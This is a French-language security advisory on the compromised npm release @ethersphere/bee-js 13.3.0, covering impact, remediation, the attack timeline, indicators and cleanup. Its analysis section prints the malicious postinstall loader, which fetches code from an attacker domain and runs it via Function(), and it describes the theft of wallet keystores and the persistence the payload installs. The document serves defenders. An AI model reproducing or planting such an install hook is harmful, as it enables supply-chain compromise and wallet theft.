Version malveillante de @ethersphere/bee-js 13.3.0 : ciblage des portefeuilles Swarm
La version 13.3.0 de @ethersphere/bee-js exécute un script postinstall qui cible les portefeuilles Swarm Desktop et installe un accès distant ; retirez-la.
En bref
- Une version malveillante du client JavaScript officiel de Swarm,
@ethersphere/bee-js13.3.0, exécute un script postinstall qui télécharge des charges utiles propres à chaque plateforme. Step Security a publié son analyse. - Les charges utiles lisent les fichiers de portefeuille de Swarm Desktop, les envoient vers un domaine contrôlé par l'attaquant et installent un accès distant persistant sur Linux, macOS et Windows. Le rapport n'établit pas combien d'installations ont exécuté le script.
- Aucun CVE n'est attribué. La base d'avis GitHub référence GHSA-hh7j-5m3j-23pf et OSV référence MAL-2026-18773. La version n'est pas dans le catalogue KEV de la CISA au 2026-11-09, et aucun vol de fonds n'est confirmé.
- Retirez la 13.3.0 de tous les fichiers de verrouillage et épinglez la dernière version propre, 13.2.0. Si le paquet s'est installé avec les scripts de cycle de vie activés, traitez l'hôte comme compromis et suivez les étapes de la section « Que faire si je l'ai installé ? ».
Suis-je concerné ?
Toutes ces conditions doivent être réunies :
- La version 13.3.0 de
@ethersphere/bee-jsa été installée, directement ou par une plage de dépendances. - L'installation a exécuté les scripts de cycle de vie. npm exécute
postinstallpar défaut ;--ignore-scriptsbloque ce crochet. - L'utilisateur ou la tâche CI qui a installé le paquet avait un répertoire de données Swarm Desktop, des identifiants ou d'autres secrets que le processus pouvait lire.
Le code malveillant se trouve dans l'archive npm et dans l'étiquette Git v13.3.0. Il ne touche pas aux fonctions d'exécution de la bibliothèque ; les dégâts ont lieu pendant l'installation. Un projet peut donc conserver la 13.3.0 dans un fichier de verrouillage sans que le crochet ait été exécuté, et un projet peut exécuter le crochet sans jamais importer la bibliothèque.
| Paquet | Version concernée | Version propre |
|---|---|---|
@ethersphere/bee-js |
13.3.0 | 13.2.0 |
@ethersphere/bee-js |
Toute version antérieure | Non concernée par cet incident |
Vérifiez ce qui est installé :
# Direct dependency and lockfile entry
npm ls @ethersphere/bee-js
grep -n '"node_modules/@ethersphere/bee-js"' -A 6 package-lock.json
# pnpm and Yarn lockfiles
grep -n "@ethersphere/bee-js" pnpm-lock.yaml
grep -n "@ethersphere/bee-js" yarn.lock
# The package as installed in the tree
node -p "require('@ethersphere/bee-js/package.json').version" 2>/dev/null || echo "not installed"
Les projets dépendants cités par Step Security sont @ethersphere/swarm-cli 3.7.0, qui déclare ^13.2.0 ; @ethersphere/bee-dashboard 0.37.1, qui déclare ^13.0.0 ; et le dépôt swarm-desktop, qui déclare ^13.0.0. Ces trois plages acceptent la 13.3.0, donc une résolution fraîche ou une mise à jour du fichier de verrouillage faite pendant que la version était disponible pouvait la sélectionner. Le rapport ne montre pas que ces projets ont publié des versions compromises.
Comment corriger ?
Épinglez @ethersphere/bee-js en 13.2.0, ou dans une version ultérieure après l'avoir examinée, et régénérez chaque fichier de verrouillage qui a résolu la 13.3.0. npm ne liste plus la 13.3.0, donc une installation neuve ne la résout plus, mais un fichier de verrouillage et un cache existants peuvent encore la contenir.
- Modifiez la plage de dépendance dans chaque
package.jsonqui nomme le paquet :
npm pkg set dependencies.@ethersphere/bee-js=13.2.0
- Supprimez l'entrée du fichier de verrouillage et réinstallez depuis la version examinée :
rm -rf node_modules package-lock.json
npm install
npm ls @ethersphere/bee-js
- Avec pnpm, mettez à jour le fichier de verrouillage et réinstallez :
pnpm update @ethersphere/bee-js@13.2.0
pnpm install --frozen-lockfile
- En CI, videz les caches liés à l'ancien fichier de verrouillage et reconstruisez l'image de la tâche. Un arbre
node_modulesen cache conserve l'ancien paquet et ne réexécute pas le crochet ; l'arbre doit donc être recréé.
Si vous ne pouvez pas changer de version tout de suite, installez avec les scripts de cycle de vie désactivés et vérifiez qu'aucune installation antérieure ne les a exécutés :
npm ci --ignore-scripts
Ce drapeau bloque ce crochet et tous les autres scripts d'installation. Il ne retire pas le code qui s'est déjà exécuté et il peut casser des paquets qui ont besoin de scripts d'installation ; traitez-le comme une mesure provisoire.
Que fait le code malveillant ?
La version transforme un utilitaire de construction en téléchargeur exécuté à l'installation, avant tout code applicatif, et envoie les fichiers de portefeuille Swarm de la victime vers un hôte contrôlé par l'attaquant. Le changement est visible dans le commit de2f74e784b2eafa0d66fbb6d88b42ea11ee34cf, qui déplace scripts/generate-version.cjs de prepare vers postinstall et ajoute le répertoire scripts aux fichiers publiés.
"files": [
"dist",
"scripts"
],
"scripts": {
"prepublishOnly": "NODE_ENV=production npm run build",
"postinstall": "node scripts/generate-version.cjs",
"generate:version": "node scripts/generate-version.cjs",
"..."
}
Le crochet envoie une requête HTTPS à api.frameworkmetrics.xyz et exécute le corps de la réponse avec le constructeur Function de Node.js. La requête se présente comme une mesure d'analytique dans le commentaire du script.
try {
const req = require('https').get(
'https://api.frameworkmetrics.xyz/v1/analytics',
{
headers: {
'User-Agent': process.platform,
'X-Ethersphere': '1',
},
timeout: 3000,
},
async res => {
let body = ''
for await (const chunk of res) body += chunk
new Function('require', 'console', 'process', body)(require, console, process);
},
)
req.on('error', () => {}).on('timeout', () => req.destroy())
} catch {}
Le serveur choisit la charge utile selon l'en-tête User-Agent, qui vaut linux, darwin ou win32. La réponse s'exécute avec les permissions de l'utilisateur qui installe, y compris l'accès aux fichiers, aux processus et au réseau. Le crochet masque les erreurs réseau, donc une requête échouée laisse peu de traces dans le journal d'installation.
Sous Linux, la charge utile écrit un exécutable x86-64 ou ARM64 dans ~/.solidity/. Elle crée un lanceur Python nommé .run.py et enregistre un service utilisateur nommé solidity-langsupport-runner.service qui redémarre en cas d'échec.
Sous macOS, la charge utile écrit un exécutable adapté à l'architecture dans le même répertoire et crée un lanceur Node.js ou Python. Elle installe un LaunchAgent dans ~/Library/LaunchAgents/com.solidity.langsupport.runner.plist avec RunAtLoad activé.
Sous Windows, la charge utile cherche une installation d'agent de support distant existante, récupère invoke.ps1 et app.msi, puis dépose des lanceurs PowerShell et VBScript dans %TEMP% avec des noms commençant par .stuffed-. Elle crée un répertoire caché sous %LOCALAPPDATA%, y ajoute une exclusion Microsoft Defender et exécute le MSI en silence.
Le code de vol cible deux fichiers du répertoire de données de Swarm Desktop : config.yaml et data-dir/keys/swarm.key. Il envoie les deux vers /v1/swarm/report dans des champs JSON nommés configYaml et v3. Le fichier swarm.key est un keystore Ethereum V3 chiffré, et config.yaml peut contenir le mot de passe qui le déchiffre. Avec les deux fichiers, un attaquant peut contrôler le portefeuille.
Comment la faille est-elle exploitée ?
L'attaquant n'avait pas besoin qu'une victime clique sur un lien ou importe un paquet par son nom. La compromission a emprunté le processus de publication du projet :
- Le 2026-11-08 à 23:59:54 UTC, un commit non signé intitulé
chore(upcoming): release 13.3.0est apparu sur la brancheupcomingsous l'identitébee-worker. - La demande de fusion release-please pour la 13.3.0, PR #1288, était encore ouverte et non fusionnée. La version légitime 13.2.0 était passée par une demande de fusion signée et fusionnée.
- GitHub a publié la version
v13.3.0le 2026-11-09 à 00:06:01 UTC, également sousbee-worker. Cela a déclenché le workflow de publication npm existant du dépôt. - Le workflow a utilisé la publication de confiance de GitHub Actions. Le paquet npm porte donc une provenance SLSA valide qui pointe vers le dépôt et le workflow légitimes, car le code malveillant se trouvait déjà dans la source que le workflow a construite.
- npm a reçu
@ethersphere/bee-js@13.3.0à 00:09:50 UTC. Toute installation de cette version avec les scripts de cycle de vie activés a exécuté le crochet. - Le crochet a récupéré et exécuté la charge utile de la plateforme. Le rapport indique que les requêtes vers l'infrastructure de charge utile renvoyaient un contenu leurre ou une erreur HTTP 404 vers 00:31 UTC.
Step Security estime que les preuves pointent vers un usage abusif de l'identité de publication bee-worker. Un identifiant ou un jeton de compte volé est une explication probable, mais le rapport n'établit pas quel identifiant a été utilisé ni comment il a été obtenu. L'historique examiné des GitHub Actions ne contenait aucune exécution ayant créé le commit malveillant.
Comment se déroule l'attaque ?
Un attaquant qui contrôlait l'identité de publication a placé le crochet dans la source. Le pipeline de publication de confiance du projet l'a ensuite publié, ce qui a atteint les fichiers de portefeuille et la persistance sur chaque hôte ayant installé la version avec les scripts activés.
flowchart LR
A["Commit non signé sur la branche upcoming"] --> B["Version GitHub v13.3.0"]
B --> C["Workflow npm de publication de confiance"]
C --> D["Crochet postinstall exécuté à l'installation"]
D --> E["api.frameworkmetrics.xyz"]
E --> F["Charge utile de plateforme via Function()"]
F --> G["Fichiers de portefeuille copiés et persistance installée"]
Que peut faire un attaquant ?
La portée de l'attaquant dépend de ce que l'utilisateur qui installe pouvait lire, et l'étape de vol exige que les fichiers de Swarm Desktop existent. Dans ces conditions, la charge utile donne à l'attaquant :
- Le keystore chiffré du portefeuille Swarm et, lorsqu'il est présent dans
config.yaml, le mot de passe qui le déchiffre. - Un exécutable d'accès distant et un service qui redémarre en cas d'échec sous Linux, un LaunchAgent
RunAtLoadsous macOS, ou une installation MSI silencieuse avec une exclusion Defender sous Windows. - L'accès à chaque fichier, processus et route réseau que l'utilisateur ou la tâche CI pouvait atteindre.
- La capacité de persister après la suppression du paquet, car le service, le LaunchAgent et le binaire installé vivent en dehors de
node_modules.
Le rapport n'établit pas combien d'installations ont exécuté le crochet, si un portefeuille a été vidé, ni l'ensemble des commandes des charges utiles macOS et Windows. Les exécutables Linux ont été récupérés et inspectés ; ils contiennent des noms de paquets et de fonctions Go associés à l'exécution de commandes et à des shells interactifs, notamment hubclient.runCommand, hubclient.startShellLocked et github.com/creack/pty. Step Security ne les a pas exécutés, donc leur comportement est évalué et non observé.
Que faire si je l'ai installé ?
Traitez comme compromis tout hôte qui a installé la 13.3.0 avec les scripts de cycle de vie activés, car le crochet s'est exécuté avec les permissions de l'utilisateur avant toute étape de revue. La suppression de la dépendance ne retire ni le service, ni le LaunchAgent, ni l'installateur déposé.
- Isolez l'hôte du réseau et arrêtez la persistance avant de changer les secrets :
- Linux :
systemctl --user disable --now solidity-langsupport-runner.service, puis supprimez~/.config/systemd/user/solidity-langsupport-runner.serviceet~/.solidity/. - macOS :
launchctl unload ~/Library/LaunchAgents/com.solidity.langsupport.runner.plist, puis supprimez le plist et~/.solidity/. - Windows : supprimez le répertoire caché sous
%LOCALAPPDATA%, les fichiers.stuffed-*sous%TEMP%et l'exclusion Defender ajoutée par la charge utile. - Reconstruisez l'hôte à partir d'une image de confiance plutôt que de le nettoyer sur place. Le rapport recommande une reconstruction, car les charges utiles non récupérées ont pu installer davantage que les fichiers observés.
- Changez tous les identifiants que l'utilisateur ou la tâche CI pouvait lire, depuis un système propre. Pour la CI, changez les jetons de la tâche et examinez ses journaux pour des appels à
api.frameworkmetrics.xyz. - Si les fichiers de Swarm Desktop étaient présents, remplacez le portefeuille depuis un système propre. Traitez le keystore et tout mot de passe stocké dans
config.yamlcomme exposés. - Épinglez
@ethersphere/bee-jsen 13.2.0 ou dans une version ultérieure examinée, et régénérez les fichiers de verrouillage et les caches.
Comment vérifier si j'ai été compromis ?
Commencez par la version du paquet et les fichiers que la charge utile écrit. Une correspondance de version sans les fichiers exige tout de même la vérification du journal d'installation, car une exécution échouée ne laisse aucune charge utile.
# 1. The malicious version in any project tree
grep -rn "@ethersphere/bee-js" --include=package-lock.json --include=pnpm-lock.yaml --include=yarn.lock .
node -p "require('@ethersphere/bee-js/package.json').version" 2>/dev/null
# 2. Linux persistence and payload directory
ls -la ~/.solidity/ 2>/dev/null
systemctl --user status solidity-langsupport-runner.service 2>/dev/null
# 3. macOS persistence
ls -la ~/.solidity/ 2>/dev/null
ls -la ~/Library/LaunchAgents/com.solidity.langsupport.runner.plist 2>/dev/null
# 4. DNS, proxy and egress logs
grep -i "frameworkmetrics" /var/log/* 2>/dev/null
Sous Windows, cherchez les fichiers .stuffed-* dans %TEMP% et un répertoire caché contenant app.msi dans %LOCALAPPDATA%. Lisez ensuite la liste des exclusions Defender :
Get-ChildItem $env:TEMP -Force -Filter ".stuffed-*"
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
Les indicateurs publiés sont :
- Réseau :
api.frameworkmetrics.xyz, avec les chemins/v1/analytics,/v1/assets/et/v1/swarm/report, et l'en-têteX-Ethersphere: 1. - Fichiers :
~/.solidity/linux_amd64,~/.solidity/linux_arm64,~/.solidity/.run.py,~/.config/systemd/user/solidity-langsupport-runner.service,~/.solidity/darwin_arm64,~/.solidity/darwin_amd64,~/Library/LaunchAgents/com.solidity.langsupport.runner.plist,%TEMP%\.stuffed-*et le répertoire de dépôt caché sous%LOCALAPPDATA%. - Empreintes :
linux_amd64SHA-2569b73e7cd4e1425e770392549d8df46c706139ef476f4f7b9ac405165dc8d9696;linux_arm64SHA-256b601776817363b96295119f7221338a122d5247a35a77a64b04f286e1bbcc565; archive npm malveillante SHA-1a205c8a5fed81e9a787645b2801f00be3db3348d. - Le domaine a été enregistré le 2026-11-06 à 15:08 UTC. Les requêtes vers l'hôte de charge utile renvoyaient un contenu leurre ou une erreur HTTP 404 vers 00:31 UTC le 2026-11-09, donc une réponse absente ne blanchit pas un hôte qui a exécuté le crochet.
Une correspondance sur un chemin que l'outillage légitime crée aussi est une piste à vérifier, pas une preuve. L'inverse est vrai aussi : une exécution échouée peut ne laisser aucune trace au-delà de la version du paquet et du journal d'installation.
Chronologie
- 2026-11-06 15:08 UTC :
frameworkmetrics.xyzest enregistré. - 2026-11-08 23:59:54 UTC : le commit non signé
chore(upcoming): release 13.3.0arrive sous l'identitébee-worker, et l'enregistrement de la version GitHub est créé. - 2026-11-09 00:06:01 UTC : GitHub publie la version
v13.3.0. - 2026-11-09 00:06:03 UTC : le workflow de publication npm démarre.
- 2026-11-09 00:09:50 UTC :
@ethersphere/bee-js@13.3.0est publié sur npm. - 2026-11-09 00:53:54 UTC : Step Security ouvre le ticket #1294 sur le dépôt.
- 2026-11-09 01:25:27 UTC : la base d'avis GitHub publie GHSA-hh7j-5m3j-23pf.
- 2026-11-09 : npm ne liste plus la 13.3.0 ; le registre indique la 13.2.0 comme dernière version.
FAQ
L'installation du paquet exécute-t-elle la charge utile même si mon application ne l'importe jamais ?
Oui, si les scripts de cycle de vie sont activés. La charge utile est un crochet postinstall, donc elle s'exécute pendant npm install, avant tout code applicatif. Un déploiement qui installe avec --ignore-scripts n'exécute pas ce crochet.
La version 13.2.0 est-elle sûre ?
Oui, pour cet incident. Step Security a examiné la 13.2.0 et n'a trouvé aucun chemin d'installation malveillant, et npm la liste comme dernière version après l'arrêt de la publication de la 13.3.0. Cela répond à la question pour cette compromission seulement ; cela ne garantit rien pour les versions futures.
Une provenance SLSA valide signifie-t-elle que le paquet est sûr ?
Non. La provenance est valide parce que le workflow de publication de confiance du projet a construit le paquet à partir de la source malveillante. La provenance indique quel dépôt et quel workflow ont produit un artefact ; elle ne prouve pas que la source a été relue.
Faut-il bloquer les scripts de cycle de vie dans tous mes projets ?
Cela bloque ce crochet et réduit la surface d'attaque à l'installation, mais cela casse les paquets qui compilent des modules natifs pendant l'installation et cela n'annule pas un crochet déjà exécuté. Utilisez-le comme un contrôle parmi d'autres, avec la revue des fichiers de verrouillage et un pare-feu de dépendances.
Existe-t-il un CVE à suivre ?
Aucun CVE n'est attribué. Suivez GHSA-hh7j-5m3j-23pf dans la base d'avis GitHub ou MAL-2026-18773 dans OSV, et surveillez le dépôt bee-js pour le rapport d'incident des mainteneurs.
Trouver les installations de bee-js concernées avec Ostorlab
L'analyse de composition logicielle et l'inventaire SBOM d'Ostorlab listent les paquets open source et les versions que vos dépôts résolvent. Une recherche sur @ethersphere/bee-js montre alors quels projets ont embarqué la 13.3.0 et quels fichiers de verrouillage doivent encore être régénérés.
Références
- Step Security, « @ethersphere/bee-js 13.3.0 Compromised » : https://www.stepsecurity.io/blog/ethersphere-bee-js-13-3-0-compromise (vérifié le 9 novembre 2026)
- Base d'avis GitHub, GHSA-hh7j-5m3j-23pf (2026-11-09) : https://github.com/advisories/GHSA-hh7j-5m3j-23pf (vérifié le 9 novembre 2026)
- OSV, MAL-2026-18773 (2026-11-09) : https://osv.dev/vulnerability/MAL-2026-18773 (vérifié le 9 novembre 2026)
- Commit bee-js de2f74e784b2eafa0d66fbb6d88b42ea11ee34cf (2026-11-08) : https://github.com/ethersphere/bee-js/commit/de2f74e784b2eafa0d66fbb6d88b42ea11ee34cf (vérifié le 9 novembre 2026)
- Version bee-js v13.3.0 (2026-11-09) : https://github.com/ethersphere/bee-js/releases/tag/v13.3.0 (vérifié le 9 novembre 2026)
- Demande de fusion bee-js #1288, « chore(upcoming): release 13.3.0 » (ouverte le 2026-10-27) : https://github.com/ethersphere/bee-js/pull/1288 (vérifié le 9 novembre 2026)
- Ticket bee-js #1294, « ethersphere/bee-js npm package version 13.3.0 is compromised » (2026-11-09) : https://github.com/ethersphere/bee-js/issues/1294 (vérifié le 9 novembre 2026)
- Métadonnées du registre npm pour @ethersphere/bee-js (vérifié le 9 novembre 2026) : https://registry.npmjs.org/@ethersphere%2Fbee-js